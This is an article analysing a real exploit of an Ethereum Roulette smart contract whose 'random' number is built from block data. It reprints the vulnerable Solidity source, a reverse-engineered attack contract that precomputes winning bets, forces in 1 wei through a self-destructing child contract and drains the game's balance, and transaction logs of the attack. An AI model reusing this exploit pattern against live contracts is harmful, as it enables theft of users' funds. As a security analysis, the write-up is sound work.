Randomness in smart contracts is predictable and vulnerable: Roulette
By: Zhongqiang Chen
Tags: Randomness In Contracts, Ethereum Blockchain, Reverse Engineering, Attacks On Randomness, Roulette Game

A gambling game on blockchain: Roulette

The gambling game Roulette was created on the Ethereum blockchain to mimic its counterpart in the real world: it provides 6 different bet types for the player to choose: color, column, dozen, eighteen, modulus, and number. Each bet type has its own payout and formula to compute the prize. For instance, in bet type 4, players can only bet on number 0 or 1, and if the random number generated by the Roulette game is also even or odd, then the players win, otherwise, the players lose.

In order to make the game attractive to all players, even those who have only a small amount of Ethers, the bet amount for each play is set to only 0.05 Ethers, which is quite low compared to that in games such as SlotMachine (0.1 Ethers).

To show that the game is fair and there is no hidden tricks in the game, the creator of the game published the source code of the game. The source code of the Roulette game is presented as follows.

/**

*Submitted for verification at Etherscan.io on 2019-02-07

*/ pragma solidity ^0.4.22; contract Roulette {

uint betAmount;

uint necessaryBalance;

uint nextRoundTimestamp;

address creator;

uint256 maxAmountAllowedInTheBank;

mapping (address => uint256) winnings;

uint8[] payouts;

uint8[] numberRange; /*

BetTypes are as follow:

0: color

1: column

2: dozen

3: eighteen

4: modulus

5: number Depending on the BetType, number will be:

color: 0 for black, 1 for red

column: 0 for left, 1 for middle, 2 for right

dozen: 0 for first, 1 for second, 2 for third

eighteen: 0 for low, 1 for high

modulus: 0 for even, 1 for odd

number: number

*/ struct Bet {

address player;

uint8 betType;

uint8 number;

} Bet[] public bets; constructor() public payable {

creator = msg.sender;

necessaryBalance = 0;

nextRoundTimestamp = now;

payouts = [2,3,3,2,2,36];

numberRange = [1,2,2,1,1,36];

betAmount = 50000000000000000; /* 0.05 ether */

maxAmountAllowedInTheBank = 10000000000000000000; /* 2 ether */

} event RandomNumber(uint256 number); function getStatus() public view returns(uint, uint, uint, uint, uint) {

return (

bets.length, // number of active bets

bets.length * betAmount, // value of active bets

nextRoundTimestamp, // when can we play again

address(this).balance, // roulette balance

winnings[msg.sender] // winnings of player

);

} function addEther() payable public {} function bet(uint8 number, uint8 betType) payable public {

/*

A bet is valid when:

1 - the value of the bet is correct (=betAmount)

2 - betType is known (between 0 and 5)

3 - the option betted is valid (don't bet on 37!)

4 - the bank has sufficient funds to pay the bet

*/ require(msg.value == betAmount); // 1

require(betType >= 0 && betType <= 5); // 2

require(number >= 0 && number <= numberRange[betType]); // 3

uint payoutForThisBet = payouts[betType] * msg.value;

uint provisionalBalance = necessaryBalance + payoutForThisBet;

require(provisionalBalance < address(this).balance); // 4 /* we are good to go */

necessaryBalance += payoutForThisBet;

bets.push(Bet({

betType: betType,

player: msg.sender,

number: number

}));

} function spinWheel() public {

/* are there any bets? */

require(bets.length > 0);

/* are we allowed to spin the wheel? */

require(now > nextRoundTimestamp);

/* next time we are allowed to spin the wheel again */

nextRoundTimestamp = now;

/* calculate 'random' number */

uint diff = block.difficulty;

bytes32 hash = blockhash(block.number-1);

Bet memory lb = bets[bets.length-1];

uint number = uint(keccak256(abi.encodePacked(now, diff, hash, lb.betType, lb.player, lb.number))) % 37;

/* check every bet for this number */

for (uint i = 0; i < bets.length; i++) {

bool won = false;

Bet memory b = bets[i];

if (number == 0) {

won = (b.betType == 5 && b.number == 0); /* bet on 0 */

} else {

if (b.betType == 5) {

won = (b.number == number); /* bet on number */

} else if (b.betType == 4) {

if (b.number == 0) won = (number % 2 == 0); /* bet on even */

if (b.number == 1) won = (number % 2 == 1); /* bet on odd */

} else if (b.betType == 3) {

if (b.number == 0) won = (number <= 18); /* bet on low 18s */

if (b.number == 1) won = (number >= 19); /* bet on high 18s */

} else if (b.betType == 2) {

if (b.number == 0) won = (number <= 12); /* bet on 1st dozen */

if (b.number == 1) won = (number > 12 && number <= 24); /* bet on 2nd dozen */

if (b.number == 2) won = (number > 24); /* bet on 3rd dozen */

} else if (b.betType == 1) {

if (b.number == 0) won = (number % 3 == 1); /* bet on left column */

if (b.number == 1) won = (number % 3 == 2); /* bet on middle column */

if (b.number == 2) won = (number % 3 == 0); /* bet on right column */

} else if (b.betType == 0) {

if (b.number == 0) { /* bet on black */

if (number <= 10 || (number >= 20 && number <= 28)) {

won = (number % 2 == 0);

} else {

won = (number % 2 == 1);

}

} else { /* bet on red */

if (number <= 10 || (number >= 20 && number <= 28)) {

won = (number % 2 == 1);

} else {

won = (number % 2 == 0);

}

}

}

} /* if winning bet, add to player winnings balance */

if (won) {

winnings[b.player] += betAmount * payouts[b.betType];

}

} /* delete all bets */

bets.length = 0;

/* reset necessaryBalance */

necessaryBalance = 0;

/* check if to much money in the bank */

if (address(this).balance > maxAmountAllowedInTheBank) takeProfits();

/* returns 'random' number to UI */

emit RandomNumber(number);

} function cashOut() public {

address player = msg.sender;

uint256 amount = winnings[player];

require(amount > 0);

require(amount <= address(this).balance);

winnings[player] = 0;

player.transfer(amount);

} function takeProfits() internal {

uint amount = address(this).balance - maxAmountAllowedInTheBank;

if (amount > 0) creator.transfer(amount);

} function creatorKill() public {

require(msg.sender == creator);

selfdestruct(creator);

}

}

The main functions used by players to play the game are bet() and spinWheel(). To play the game, the player first calls the function bet() to specify the bet type to use and the number to bet on. Also, the player needs to carry the amount of Ethers that is equal to “betAmount” along with the bet() function. After the bet, the function spinWheel() can be invoked to determine the winners of the bets.

When a player decides to leave the game, he can call the function cashOut() to withdraw all the prizes he wins.

It seems that there is a bug in the implementation of bet type 3: according to the computation of prize for bet type 3 in the function spinWheel(), the range of numbers that can be bet on by players could be [0, 36]. However, in the number range given in the constructor of the game contract, numberRange = [1,2,2,1,1,36], it can be seen that the upper limit on the number to be bet on is only 1, meaning that the range of numbers is only [0, 1]. Therefore, in the function bet(), it is impossible for a player to bet on a number that is larger than 1 when the bet type 3 is played.

The random number used by the Roulette game to determine the winners of bets is generated within the function spinWheel(). The random number is the keccak256 hash code that is computed based on the creation time of the current block, the mining difficulty of the block, the block hash of the current block, the bet type, the address of the player, and the bet number.

As we know, there is no “true” randomness in blockchains and everything is deterministic because the state of every account and the outcome of every transaction must be deterministic and thus can be reproduced or verified independently by all miners of the blockchain. If the outcome of a transaction depends on some random sources and could be different if executed in environment of different miners, then the outcome of this transaction can not be verified by other miners and it is impossible for miners to reach consensus on the state of the block that contains this transaction.

Also, all information about a block such as its creation time, mining difficulty, and block hash is known and available to all transactions included in the block when the block is mined and created. Therefore, if a decentralized application (dapp) uses this information as sources to generate random numbers, it is vulnerable to attacks.

As the Roulette game indeed generates random numbers based on information about the current block, it could become an attack target if such an attack is profitable.

Any way, let us first collect some information about the deployment of the Roulette game on Ethereum blockchain, which is depicted as follows.

roulette contract address:

0x71C11a3B3a13A2E4A23c760722691952319ac7b9 roulette contract creator:

0xC3E1b158b5d44352613c3703371c8ead3DaF1cd5 transaction deploying the roulette contract:

Transaction Hash: 0xa766b37571f4d80f44637422188dfb3487d9986e276bb4c670098837e321589c

Status: Success

Block: 7188583 1363247 Block Confirmations

Timestamp: 219 days 12 hrs ago (Feb-07-2019 03:03:04 PM +UTC)

From: 0xc3e1b158b5d44352613c3703371c8ead3daf1cd5

To: [Contract 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 Created]

Value: 0 Ether ($0.00)

Transaction Fee: 0.01117837 Ether ($2.09)

Gas Limit: 1,596,910

Gas Used by Transaction: 1,596,910 (100%)

Gas Price: 0.000000007 Ether (7 Gwei)

Nonce Position 39 117

Input Data: (omitted)

The address of the smart contract for the Roulette game begins with 0x71c1, and the smart contract was created on Feb-07–2019 03:03:04 PM +UTC.

An attack tool targeting Roulette

Sure enough, not long after the deployment of the smart contract for the Roulette game, the smart contract that targeted the game was also deployed. The information about the deployed attack tool is as follows.

Transaction Hash: 0xf479c0e44e2de2c66acb9c5621550fc394f97a8b2ebf637922825805715ee845

Status: Success

Block: 7189306 1333975 Block Confirmations

Timestamp: 214 days 22 hrs ago (Feb-07-2019 06:35:43 PM +UTC)

From: 0x20c945800de43394f70d789874a4dac9cfa57451

To: [Contract 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 Created]

Value: 0 Ether ($0.00)

Transaction Fee: 0.001506192 Ether ($0.27)

Gas Limit: 376,548

Gas Used by Transaction: 376,548 (100%)

Gas Price: 0.000000004 Ether (4 Gwei)

Nonce Position 1333 11

Input Data: (omitted)

It is quite surprising to see that the smart contract for the attack tool on the Roulette game was deployed only 3 hours after the publish of the game. One thing is sure that the attacker constantly monitors the status of the Ethereum blockchain, especially the creation of any new smart contracts.

As the source code of the attack tool is not available, we resort to reverse engineering techniques to recover it. The source code of the attack tool, restored by the reverse engineering methods, is given below (as the address of the smart contract for the attack tool starts with 0x3d59, we name the attack contract as contract_3d59).

pragma solidity ^0.5.1; contract contract_3d59 {

struct Bet {

address player;

uint8 betType;

uint8 number;

} // slot 0x00

address payable roulette = 0x71C11a3B3a13A2E4A23c760722691952319ac7b9;

constructor () public {

}

// function selector: 0x0f59f83a

// code entrance: 0x0042

function go() public payable {

// betType should be 0x04?

Bet memory bet = Bet({

player: address(this),

betType: 3,

number: 0

}); uint256 oldBalance = address(this).balance;

uint8 win = 40; for (uint8 betNum = 0; betNum < 2; betNum++) {

bet.number = betNum; // 0x25 = 37

uint256 num = uint256(keccak256(abi.encodePacked(

now, block.difficulty, blockhash(block.number - 1),

bet.betType, bet.player, bet.number))) % 37; if ((betNum == 0) && ((num & 1) == 0)) {

win = betNum;

break;

} if ((betNum == 1) && ((num & 1) == 1)) {

win = betNum;

break;

}

} require (win != 40); address ch = address((new child).value(1)()); require (ch != address(0)); // 0xb1a2bc2ec50000 = 5e+16

uint8 count = uint8(roulette.balance / 0.05 ether);

for (uint8 idx = 0; idx < count; idx++) {

if (address(this).balance >= 0.05 ether) {

// function bet() selector: d773f46e

(bool success,) = roulette.call.value(0.05 ether)(

abi.encodeWithSelector(0xd773f46e, win, 4)); if (!success) {

revert();

}

}

} // function spinWheel() selector: 15ecef92

(bool success,) = roulette.call(

abi.encodeWithSelector(0x15ecef92)); if (!success) {

revert();

} // function cashOut() selector: 793cd71e

(success,) = roulette.call(

abi.encodeWithSelector(0x793cd71e)); if (!success) {

revert();

} require (oldBalance < address(this).balance); selfdestruct(msg.sender);

}

}

contract child {

constructor () public payable {

selfdestruct(0x71C11a3B3a13A2E4A23c760722691952319ac7b9);

}

}

It can be seen from the source code of the attack tool that the address of the smart contract for the Roulette game is hard coded in the source code, therefore, the attack tool was developed specifically for attacking the Roulette game.

The main entry point of the attack tool is the function go() and all necessary steps for an attack on the Roulette game are performed within this function.

In the Roulette game, there are 6 different bet types. However, the attack tool only plays one of the bet types: type 4. The bet type 4 is called modulus in the Roulette game and in this bet type, the bet number can only be 0 or 1.

Because the random numbers generated in Roulette game depends not only on the bet type, but also on the bet number, so, the attack tool tries both bet numbers, 0 and 1, to see which one can lead to a win. If none of these two bet numbers can land on a win, the attack tool simply gives up and reverts the transaction.

If a bet number (0 or 1) can be found, the attack tool proceeds to play the game a number of times until all the fund in the Roulette smart contract is drained out. As the Roulette game only allows “betAmount” for each bet, which is 0.05 Ethers, the attack tool uses the total balance of the Roulette smart contract and “betAmount” to determine how many times to play the game by calling the function bet() in the Roulette smart contract.

After the attack contract finishes playing the game, it calls the function spinWheel() of the Roulette game to compute the prize it wins.

Finally, the function go() invokes cashOut() of the Roulette game to withdraw all the prizes it wins.

It seems that there is a bug in the attack tool. When the function go() tries to find out the bet number that can lead to a win, it uses bet type 3 to do all the computation. However, when the function go() plays the game via calling the function bet() of the Roulette game, it uses bet type 4. There is obviously a mismatch between these two steps. As the bet type used when calling the function bet(), it will be recorded by the Roulette smart contract and is used to compute the prize by the Roulette game, so, the bet type should be 4 in all attack steps.

It is interesting to notice that before the attack contract calls the function bet() in the Roulette smart contract to play the game, the attack contract creates a new smart contract by using contract “child” as the template. This new smart contract is very simple and it simply self destructs itself within its constructor. Thus, this new smart contract actually is dead right after it is created.

So, what is the purpose of this short lived smart contract?

If we carefully look at the function bet() in the Roulette game, we can notice that one of the conditions checked by the function is: require(provisionalBalance < address(this).balance); and provisionalBalance is the sum of necessaryBalance and payoutForThisBet; where variable necessaryBalance stores the balance the game should hold and variable payoutForThisBet is the payout for the current bet.

Supposed that the balance of the game contract is 0.05 Ethers right before the game is played and necessaryBalance is 0, then the player starts to play the game with bet type 4. As the betAmount is 0.05 Ethers and the payout for bet type is 2, it is straightforward to compute that variable payoutForThisBet is 0.05 * 2 =0.1 Ethers. Thus, variable provisionalBalance, which is the sum of necessaryBalance and payoutForThisBet, should be (0 + 0.1) = 0.1 Ethers. At this point, we know that the balance of the game contract is (0.05 + 0.05) = 0.1 Ethers as the original balance is 0.05 Ethers and the bet by the player is also 0.05 Ethers. It is clear that the condition provisionalBalance < address(this).balance is not satisfied.

In this case, the bet() function will fail and the game can not be played. It is quite frustrating that there are 0.05 Ethers in the Roulette contract, but it can not be drained because no bet is allowed.

In order to make the condition provisionalBalance < address(this).balance be met even when the balance in the Roulette contract is 0.05 Ethers, one solution is to directly call the function addEther() in the Roulette contract. Another way is to send 1 single Wei to the Roulette contract via another contract. The latter is the method used by the attacker.

To send money to the Roulette contract via a new contract, the new contract needs to be able accept Ethers. This is why the constructor of the new contract is marked to be payable. To force the Roulette contract to accept the money sent by the new contract, the new contract uses the address of the Roulette contract as the parameter to its self destruct instruction. Moreover, to keep the cost as low as possible, the money sent to the Roulette game is only 1 Wei, which is the smallest unit in the Ethereum blockchain.

The effect of the attack tool

After the smart contract for the Roulette game was deployed, its creator made deposits to the smart contract in order to attract players to the game.

Transaction Hash: 0x7da997f14d81fb4be4323ba930f434a3678b00fb3ee4c254e05216c5e50d32ec

Status: Success

Block: 7188617 1363216 Block Confirmations

Timestamp: 219 days 12 hrs ago (Feb-07-2019 03:12:15 PM +UTC)

From: 0xc3e1b158b5d44352613c3703371c8ead3daf1cd5

To: Contract 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

Value: 2 Ether ($373.58)

Transaction Fee: 0.000536725 Ether ($0.10)

Gas Limit: 21,469

Gas Used by Transaction: 21,469 (100%)

Gas Price: 0.000000025 Ether (25 Gwei)

Nonce Position 41 28

Input Data:

Function: addEther()

MethodID: 0x8894dd2b

After this transaction, the balance of the game contract is 2 Ethers.

The game creator also played the game several times. Here is just one example: first, the function bet() is called, and then the function spinWheel() is invoked.

step 1. bet on the game Transaction Hash: 0xd4c726a37e44a9da98ba1b7f21b817fc45a0733fc7c8a959ea88a0562ac03ca0

Status: Success

Block: 7188820 1363015 Block Confirmations

Timestamp: 219 days 11 hrs ago (Feb-07-2019 04:05:53 PM +UTC)

From: 0xc3e1b158b5d44352613c3703371c8ead3daf1cd5

To: Contract 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

Value: 0.05 Ether ($9.34)

Transaction Fee: 0.00382884 Ether ($0.72)

Gas Limit: 700,000

Gas Used by Transaction: 95,721 (13.67%)

Gas Price: 0.00000004 Ether (40 Gwei)

Nonce Position 42 2

Input Data:

Function: bet(uint8 number, uint8 betType)

MethodID: 0xd773f46e

[0]: 0000000000000000000000000000000000000000000000000000000000000001

[1]: 0000000000000000000000000000000000000000000000000000000000000000 step 2: spin the wheel Transaction Hash: 0xf75f405ff91b8e35b4486b9d063a766534fc22d3707ed290ae43af2b11024ecc

Status: Success

Block: 7188822 1363013 Block Confirmations

Timestamp: 219 days 11 hrs ago (Feb-07-2019 04:06:20 PM +UTC)

From: 0xc3e1b158b5d44352613c3703371c8ead3daf1cd5

To: Contract 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

Value: 0 Ether ($0.00)

Transaction Fee: 0.00119684 Ether ($0.22)

Gas Limit: 700,000

Gas Used by Transaction: 29,921 (4.27%)

Gas Price: 0.00000004 Ether (40 Gwei)

Nonce Position 43 12

Input Data:

Function: spinWheel()

MethodID: 0x15ecef92

Soon after the setup of the game, the attacker started to launch attacks on the Roulette game by using its attack contract.

The transaction for the first attack attempt by the attacker was shown below.

Transaction Hash: 0x7159b65c9223a55b06cb7e9bc28c654dfb541a20c20348173550e2a9f7f2759a

Status: Fail

Block: 7189311 1333979 Block Confirmations

Timestamp: 214 days 22 hrs ago (Feb-07-2019 06:36:22 PM +UTC)

From: 0x20c945800de43394f70d789874a4dac9cfa57451

To: Contract 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9

Warning! Error encountered during contract execution [Reverted] SELF DESTRUCT Contract 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6 Value: 0.4 Ether ($72.13) - [CANCELLED]

Transaction Fee: 0.00305862 Ether ($0.55)

Gas Limit: 1,000,000

Gas Used by Transaction: 611,724 (61.17%)

Gas Price: 0.000000005 Ether (5 Gwei)

Nonce Position 1334 20

Input Data:

Function: go() ***

MethodID: 0x0f59f83a

The transaction was reverted because no bet number can be found that can lead to a win.

Then the attacker launched the second attack with the same set of parameters including gas limit, gas price, and the function invoked.

Transaction Hash: 0x8cf29319e6c7a618f7ae57d69336277333c4d996aa1ae0c65fb19d64796dfbf1

Status: Success

Block: 7189317 1333974 Block Confirmations

Timestamp: 214 days 22 hrs ago (Feb-07-2019 06:38:52 PM +UTC)

From: 0x20c945800de43394f70d789874a4dac9cfa57451

To: Contract 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 TRANSFER 1 wei From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6

TRANSFER 1 wei From 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 SELF DESTRUCT Contract 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6 TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.05 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

TRANSFER 0.749999999999999999 Ether From 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 To 0x20c945800de43394f70d789874a4dac9cfa57451 SELF DESTRUCT Contract 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 Value: 0.4 Ether ($72.09)

Transaction Fee: 0.002451805 Ether ($0.44)

Gas Limit: 1,000,000

Gas Used by Transaction: 490,361 (49.04%)

Gas Price: 0.000000005 Ether (5 Gwei)

Nonce Position 1335 90

Input Data:

Function: go() ***

MethodID: 0x0f59f83a

This time, the attack was successful.

From the information on this transaction, we can infer that the attacker played the game 7 times and the bet value in each play is 0.05 Ethers. As the payout for bet type 4 is 2, so, the prize gained by each play is 0.05 * 2 = 0.1 Ethers. The total prizes will be (0.1 * 7) = 0.7 Ethers after the game was played 7 times.

In order to find out the random number generated by the Roulette game, we can look at the event logs for the transaction, which was displayed next.

Transaction Receipt Event Logs Address 0x71c11a3b3a13a2e4a23c760722691952319ac7b9

Name RandomNumber (uint256 number)

Topics 00xec6cdc8e735e4069f6e89062582f3e5532a8e71373e7ef2962fa916cf2af21f2

Data

000000000000000000000000000000000000000000000000000000000000001a

It can be seen that the random number generated by the Roulette smart contract is 0x1A = 26 and it is an even number. As the attacker only bets on the number that can lead to a win, so, it can be inferred that the attacker bets on number 0.

To find out the balance of the Roulette smart contract right before the attack happened, we resort to the state changes of relevant accounts, which was described below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes : Address Before After State Difference 0x20c945800de43394f70d789874a4dac9cfa57451

8.387118708599363982 Eth

Nonce: 1335

8.734666903599363981 Eth

Nonce: 1336

0.347548194999999999 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9

0 Eth

Nonce: 0

0 Eth

Nonce: 0 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.35 Eth 0.000000000000000001 Eth 0.349999999999999999 0xd224ca0c819e8e97ba0136b3b95ceff503b79f53 Miner (UUPool)

200.186278456022157553 Eth 200.188730261022157553 Eth 0.002451805

It can be observed that the total balance of the Roulette game before the attack is 0.35 Ethers. Therefore, the number of times the game should be played by the attack contract in order to drain all the fund of the game should be 0.35 / 0.05 = 7.

The information on the internal transactions generated by this attack can further help us understand the behavior of the attack smart contract.

The contract call From 0x20c945800de43394f70d789874a4dac9cfa57451 To 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 produced 11 contract Internal Transactions : Type Trace Address From To Value Gas Limit create_0 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6 1 wei 929,542 suicide_0_0 0x7e872f95758e6a5a6f8e0c70a349309e22fa94a6 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 1 wei 0 call_1 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 915,808 call_2 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 833,893 call_3 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 781,508 call_4 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 729,124 call_5 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 676,739 call_6 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 624,355 call_7 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0.05 Ether 571,970 call_9_0 0x71c11a3b3a13a2e4a23c760722691952319ac7b9 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0.7 Ether 2,300 suicide_10 0x3d59e3b2d14fe25c1494694f3fc0cc975884bcc9 0x20c945800de43394f70d789874a4dac9cfa57451 0.749999999999999999 Ether 0

The new contract was created in internal transaction create_0 and during the creation of this new contract, 1 Wei was also transferred from its parent contract 0x3d59 to the new contract.

In the internal transaction suicide_0_0, the new contract sent 1 Wei value to the Roulette game 0x71c1 and then self destroyed.

Next, the game was played 7 times in internal transactions call_1 to call_7. In internal transaction call_9_0, the function cashOut() of the Roulette contract was called to withdraw prizes.

Finally, the smart contract for the attack tool, contract_3d59, sent all its funds to the attacker and then self destructed in internal transaction suicide_10.

References